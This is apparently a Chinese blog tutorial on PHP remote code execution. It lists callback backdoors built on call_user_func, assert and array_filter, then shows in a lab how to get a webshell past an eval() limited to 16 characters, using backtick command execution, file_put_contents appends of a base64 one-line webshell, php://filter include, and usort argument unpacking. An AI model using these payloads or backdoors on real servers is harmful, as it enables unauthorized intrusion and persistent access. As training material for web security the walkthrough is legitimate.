目录
先了解一些常见的知识点
PHP常见命令执行函数
call_user_func
eval()
call_user_func_array
array_filter
实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?
1、长度限制16 位 (代码执行)
2、foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);
N P 8 include 是什么意思
3、usort(...$_GET);
先了解一些常见的知识点
PHP常见命令执行函数
shell_exec、exec、passthru、system、proc_open、popen
PHP回调后门
call_user_func
call_user_func、把第一个参数作为回调函数使用 把第二个传递这个函数里的参数
eval()
eval 动态执行的方法
我们尝试用 call_user_func('assert',$_REQUEST['pass']);
连接 连接失败
但我们加一个eval 就可以连接成功
call_user_func_array
call_user_func_array('assert',$_REQUEST['pass']); 第二个函数接受需要一个数组
如果控制两个参数,就可以让代码执行,变成命令执行
array_filter
array_filter 将回调函数base64编码
实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?
1、长度限制16 位 (代码执行)
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
将文件写入nginx html目录下
我们来执行下phpinfo 必须带;因为eval需要()
很显然执行了 说明有效
http://192.168.111.130/web.php?param=echo%20`$_GET[1]`;&1=id
eval 需要echo来将数据导出(代码执行改变成了命令执行)
2、foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);
温馨提示 必须是www-data 用户组 这样可以创建文件 root权限不够
这是file_put_contents php的官方文档的说明
N P 8 include 是什么意思
N 是指定文件名
P是一句话木马
8 是追加 (FILE_APPEND)是一样的 字符只能16位所以我们用 8
include 会将所有传进来的都当成php代码
正好是一句话木马
为什么要将编码后的写入文件呢 是因为这个函数不支持<>这些字符
执行来验证
将所有追加进去 我这里不一一展示了
web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
这样就可以执行了
3、usort(...$_GET);
php可变长参数是`...`
首先我们将php调制成5.6版本 方便我们测试漏洞
update-alternatives --config php
http://192.168.111.130/web.php?1[]=test&1[]=phpinfo();&2=assert
这样就获取phpinfo了